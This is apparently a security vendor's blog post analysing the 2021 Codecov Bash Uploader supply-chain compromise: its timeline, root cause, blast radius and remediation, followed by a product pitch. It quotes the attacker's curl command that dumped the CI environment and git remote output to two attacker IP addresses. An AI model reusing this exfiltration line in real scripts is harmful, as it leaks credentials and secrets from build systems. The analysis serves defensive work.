Safeguard
Supply Chain Attacks

Anatomy of the Codecov Bash Uploader compromise

A single altered line in Codecov's Bash Uploader ran undetected for 65 days, siphoning CI secrets from thousands of pipelines before anyone noticed.

Safeguard Research Team
Research
6 min read

On January 31, 2021, an attacker used a flaw in Codecov's Docker image build process to obtain credentials that let them silently rewrite the company's Bash Uploader script. The change sat live in production for 65 days before a customer noticed something small but damning: the SHA of the script running in their pipeline didn't match the SHA of the script published on GitHub. That mismatch, reported April 1, 2021, is what finally ended the incident; Codecov notified affected customers two weeks later, on April 15. In between, every CI job that curled the uploader — through the codecov-bash script, the codecov-action GitHub Action, the CircleCI Orb, or the Bitrise Step — ran a hidden command that dumped the entire CI environment and the output of git remote -v to two attacker-controlled IP addresses. That means any API key, cloud credential, database password, or signing key that a build process ever set as an environment variable was potentially exposed, at scale, across every customer using the affected distribution channels. This post traces exactly how the compromise worked, why it went undetected for so long, and what defensive controls actually would have stopped it — because "rotate your CI secrets" is necessary advice but not sufficient without the mechanisms to act on it fast.

What was the actual point of compromise?

The point of compromise wasn't Codecov's application code or GitHub repository — it was the Docker image creation process used to build and publish the Bash Uploader. Codecov's own security update places the root cause one layer removed from the script itself: a flaw in how the Docker image was built handed the attacker a credential, and that stolen credential — not any access to GitHub, npm, or a package registry — is what let them rewrite the Bash Uploader. This is a distinct pattern from a typical dependency-poisoning attack: nothing in source control changed, so anyone diffing the GitHub repository against expectations would have seen nothing wrong. The malicious version existed only in the artifact customers actually downloaded and executed via curl | bash at build time, which is precisely the class of runtime-vs-source drift that static repository scanning cannot catch on its own.

What did the malicious script actually do?

The modification appended logic functionally equivalent to curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)", sent to two IP addresses Codecov identified as 178.62.86.114 and 104.248.94.23. env dumps every environment variable available to the build — which is exactly where CI systems commonly store AWS keys, npm tokens, database connection strings, and GPG or code-signing keys, because environment variables are the default injection mechanism for secrets in CI/CD. Appending git remote -v gave the attacker the origin URL of the repository being built, so stolen credentials could immediately be mapped back to the source repo and organization they belonged to, rather than sitting in a pile of anonymous variable dumps. The -m 0.5 timeout kept the exfiltration call fast and unobtrusive inside a build log that most engineers never read line-by-line.

Why did detection take 65 days?

Detection took that long because the tampering happened in a distribution artifact, not in a place any standard code review or CI log alert was watching. Codecov's own account confirms the compromise began January 31, 2021, and wasn't discovered until April 1, 2021, when a customer independently noticed a checksum mismatch between the published GitHub script and what actually executed in their pipeline. No SCA scanner would flag this, because the Bash Uploader wasn't a versioned, lockfile-pinned dependency — it was fetched fresh on every build via a bare curl command, meaning every single execution could silently receive a different payload than the last, with no version pin to compare against and no lockfile hash to fail a build on.

Who was affected and how far did it spread?

Codecov's four affected distribution channels — codecov-bash, the codecov-action GitHub Action, the Codecov CircleCI Orb, and the Codecov Bitrise Step — meant the blast radius covered essentially every CI system in common use: GitHub Actions, CircleCI, Bitrise, and any custom pipeline invoking the raw script directly. Because the payload ran inside the customer's own CI job rather than on Codecov's infrastructure, the exposure scaled with how many organizations had the uploader wired into a build that ran between January 31 and April 1 — a two-month window across what Codecov has publicly described as thousands of customer environments. Public reporting following the disclosure named HashiCorp among the downstream-affected organizations, which stated a GPG signing key used for release verification was exposed through this vector — illustrating how a secret exfiltrated from a single CI job can cascade into a trust problem for every artifact that key ever signed afterward.

What should teams have done — and what should they do now?

Codecov's own remediation guidance was direct: immediately re-roll every credential and secret present in any CI environment that ran the Bash Uploader during the exposure window, run env locally to reconstruct exactly what would have been exposed, and audit downstream systems for any access using those credentials. The harder lesson is architectural. Environment-variable secrets that live for the full duration of a build are exposed to every script that build executes, including third-party scripts pulled fresh at runtime with no integrity check. Two controls directly interrupt this pattern: pinning third-party CI scripts and actions to a specific commit SHA (not a mutable tag) so a compromised upstream build can't silently change what your pipeline executes, and scanning CI build logs for secret material with redaction applied at the source, so that even if a secret is exposed to a process, its appearance in a log or outbound call is caught before an attacker acts on it.

How does Safeguard help close this gap?

Safeguard's secrets scanning ingests CI build-log output directly, with redaction applied at source, so that credentials sitting in a build's environment are inventoried and monitored rather than assumed safe just because they never appear in source control. When a finding is verified as live — Safeguard checks issuer-specific patterns against the actual API, for example calling sts:GetCallerIdentity for AWS keys or auth.test for Slack tokens — it's escalated as an exploitable credential, not a theoretical one, and the built-in remediation playbook can revoke, rotate through your secret manager, and notify the owning team without waiting for a customer to spot a checksum mismatch. That playbook is the direct answer to the Codecov timeline: the 65-day gap between compromise and discovery was, functionally, a rotation-latency problem, and closing it means detecting exposure in CI in near-real time rather than relying on an upstream vendor's own incident response. Pinning third-party CI scripts to immutable commit SHAs remains a manual discipline worth enforcing in code review — a control this incident shows is cheap relative to the alternative.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.